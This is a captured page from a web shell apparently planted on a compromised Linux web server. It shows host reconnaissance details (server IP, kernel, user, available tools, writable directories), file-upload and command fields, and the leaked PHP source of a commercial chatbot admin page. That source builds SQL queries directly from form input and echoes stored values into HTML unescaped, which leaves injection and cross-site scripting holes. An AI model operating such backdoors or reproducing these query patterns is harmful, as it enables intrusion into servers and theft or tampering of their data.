403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usafundingapplications.ai/vsa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usafundingapplications.ai/vsa/unanswered.php
<?php
/*
Copyright (c) 2007-present InnAnTech Industries
Author: Dave Guindon
Web: www.VirtualSmartAgent.com
Support: www.DaveGuindonSupport.com

Please send bug reports, suggestions and/or feedback to the support
website given above.

Virtual Smart Agent is a commercial software. Any distribution is strictly prohibited
unless a resale rights license was delivered along with this software.
*/

include('myauth.php');
include('modfiles/db.php');
include('globals.php');
include('charts/tables.php');
include('charts/html_table.class.php');
include('charts/chartfunctions.php');
include('panelfunctions.php');

$cid = $_SESSION['cid'];

//get new search period
if ($_POST['periodbutton']){
  $p = $_POST['selectperiod'];   
}

//delete selected chats
if ($_POST['deletebutton']){
  //get posted
  $p = $_POST['selectperiod'];
  //go through checkboxes and remove
  foreach($_POST as $key=>$value){		  	  
    if (strpos($key,'clogid') !== false){		
	  //remove the chat log and all chat data for this log id  
      $sql = "DELETE FROM $nocommentTable WHERE id='$value'";
      mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):''; 		  	  
	}	
  }
}

//save the error message
if ($_POST['savebutton']){
  $errormessage = $_POST['errormessage'];
  $errormessage = trim($errormessage);
  if ((!isset($errormessage))||($errormessage == '')){    	
	$show = '<p><span style="color: #FF0000">ERROR: You forgot enter the error response message.</span></p>';
  }else{
    $errormessage = addslashes($errormessage);
    //update the error message for this campaign
    $sql = "UPDATE $campaignTable SET errormessage='$errormessage' WHERE id='$cid'"; 
	mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):''; 
    $show = '<p><span style="color: #0000FF">The error response message has been successfully updated.</span></p>';
  }
}

//save instant email notifications
if ($_POST['emailbutton']){
  $activatecb = $_POST['activatecb'];
  if($activatecb != '1'){ $activatecb = '0'; }  
  $nocommentemail = $_POST['nocommentemail'];
  if ((!isset($nocommentemail))||($nocommentemail == '')){    	
	$show = '<p><span style="color: #FF0000">ERROR: You forgot enter your instant notification email address.</span></p>';
  }else{
    $errormessage = addslashes($errormessage);
    $sql = "UPDATE $campaignTable SET nocommentemail='$nocommentemail', sendnocomment='$activatecb' WHERE id='$cid'"; 
	mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):''; 
    $show = '<p><span style="color: #0000FF">The instant email notification settings were successfully updated.</span></p>';
  }  
}

//get the error message from the campaign table here
$sql = "SELECT * FROM $campaignTable WHERE id='$cid'";
$result = mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';
$cdata = mysql_fetch_assoc($result);
$errormessage = $cdata['errormessage'];
$errormessage = stripslashes($errormessage);
$nocommentemail = $cdata['nocommentemail'];
$sendnocomment = $cdata['sendnocomment'];
if ($sendnocomment == '1'){
  $activatecb_checked = 'checked="checked"';
}else{
  $activatecb_checked = '';
}

//update period select
if ((!isset($p))||($p=='')){$p=1;}
$psel[$p] = ' selected="selected"';
$r = GetPeriod1($p);
$sd = $r[0];
$ed = $r[1];
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<LINK href="style.css" type=text/css rel=stylesheet>
<title>Virtual Agent Control Panel</title>
<?php echo $thickboxfiles; ?>
<script language="JavaScript">
function deleteClient(){  
  var m = 'WARNING: Are you sure you want to remove selected chat log(s) with all associated messages? ';
  m = m + 'Click "OK" to remove.'+"\n";  
  var agree=confirm(m);
  if (agree)
	return true;
  else
	return false;
}
function ToggleChecks(total){
  var f1 = document.errorform.selectchats;
  //set the checkboxes
  for (var i = 1; i <= total; i++){
	box = eval("document.errorform.clogid" + i);
	if(box){
	  if (f1.checked){
	    if (box.checked == false) box.checked = true;
	  }else{
	    if (box.checked == true) box.checked = false;
	  }
	}
  }
}
function ClearMessage(){document.errorform.errormessage.value="";}
function SetDefault(){document.errorform.errormessage.value="<?php echo $defaultErrorMessage; ?>";}
</script>
</head>

<body>
<?php echo $menu; ?>
<table width="700" border="0" align="center" cellpadding="10" cellspacing="0" bgcolor="#FFFFFF" class="admin_grey_border">
  <tr>
    <td><div align="center"><strong>Unanswered User Comments</strong></div></td>
  </tr>
  <tr>
    <td>
    <form name="errorform" action="unanswered.php" method="post">        
    <table width="100%" border="0" cellspacing="0" cellpadding="5">
      <tr>
        <td><p>This section contains all the user questions that were not recognized by the smart agent. In other words, when the system cannot find a smart messages based on the user's input, the system will display the error message given at the bottom of this page.<br />
        </p><?php echo $show; ?></td>
      </tr>
      <tr>
        <td><hr class="grey_dashed" /></td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Unanswered Comments</td>
      </tr>
      <tr>
        <td><table width="336" border="0" cellspacing="0" cellpadding="3">
          <tr>
            <td width="51"><div align="right">Period:</div></td>
            <td width="100"><select name="selectperiod" id="selectperiod" style="width: 100px">
              <option value="1"<?php echo $psel[1]; ?>>Today</option>
              <option value="2"<?php echo $psel[2]; ?>>Yesterday</option>
              <option value="3"<?php echo $psel[3]; ?>>Last 7 Days</option>
              <option value="4"<?php echo $psel[4]; ?>>This Month</option>
              <option value="5"<?php echo $psel[5]; ?>>Last Month</option>
              <option value="6"<?php echo $psel[6]; ?>>This Year</option>
              <option value="7"<?php echo $psel[7]; ?>>Last Year</option>
              <option value="8"<?php echo $psel[8]; ?>>All Time</option>
            </select></td>
            <td width="186"><input type="submit" name="periodbutton" id="periodbutton" value="Display Unanswered Chats" /></td>
          </tr>

        </table>
          <p><?php echo doNoCommentChatTable($_SESSION['cid'],$sd,$ed,$p); ?> <input type="submit" name="deletebutton" id="deletebutton" value="Remove Selected" onClick="return deleteClient();" /></p></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Error Response Message</td>
      </tr>
      <tr>
        <td><p>This is the message that is displayed to the user when the agent cannot find a response message in the database. You can change this comment below and save it to the system for the currently selected campaign.          
        </p>
          
          <table width="300" border="0" align="center" cellpadding="1" cellspacing="0">
            <tr>
              <td><textarea name="errormessage" id="errormessage" cols="45" rows="5" style="width: 500px"><?php echo $errormessage; ?></textarea></td>
            </tr>
            <tr>
              <td><table width="291" border="0" cellspacing="0" cellpadding="2">
                <tr>
                  <td width="98"><input type="submit" name="savebutton" id="savebutton" value="Save Message" /></td>
                  <td width="135"><input type="button" name="usedefaultbutton" id="usedefaultbutton" value="Load Default Message" onclick="SetDefault();" /></td>
                  <td width="46"><input type="button" name="clearbutton" id="clearbutton" value="Clear" onclick="ClearMessage();" /></td>
                  </tr>
              </table></td>
            </tr>
          </table>          </td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Instant Email Notifications</td>
      </tr>
      <tr>
        <td><p>The system can send you an instant email notification for this campaign when a virtual agent cannot find an answer to a web visitor's question. By default this feature is turned on.</p>
          <table width="426" border="0" cellspacing="0" cellpadding="2">
            <tr>
              <td width="37"><div align="right">Activate:</div></td>
              <td width="381"><input name="activatecb" type="checkbox" id="activatecb" value="1" <?php echo $activatecb_checked; ?> />
                (checked = yes, unchecked = no)</td>
            </tr>
            <tr>
              <td><div align="right">Email:</div></td>
              <td><input name="nocommentemail" type="text" id="nocommentemail" style="width: 250px" value="<?php echo $nocommentemail; ?>" /></td>
            </tr>
            <tr>
              <td>&nbsp;</td>
              <td><input type="submit" name="emailbutton" id="emailbutton" value="Save Settings" /></td>
            </tr>
          </table>          
          </td>
      </tr>
      <tr>
        <td><hr class="grey_dashed" /></td>
      </tr>
    </table>
    </form> 
    </td>
  </tr>
  <tr>
    <td><div align="center"><?php echo $copyright; ?><?php echo $bottomlinks; ?></div></td>
  </tr>
</table>
<?php echo $cbottom; ?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit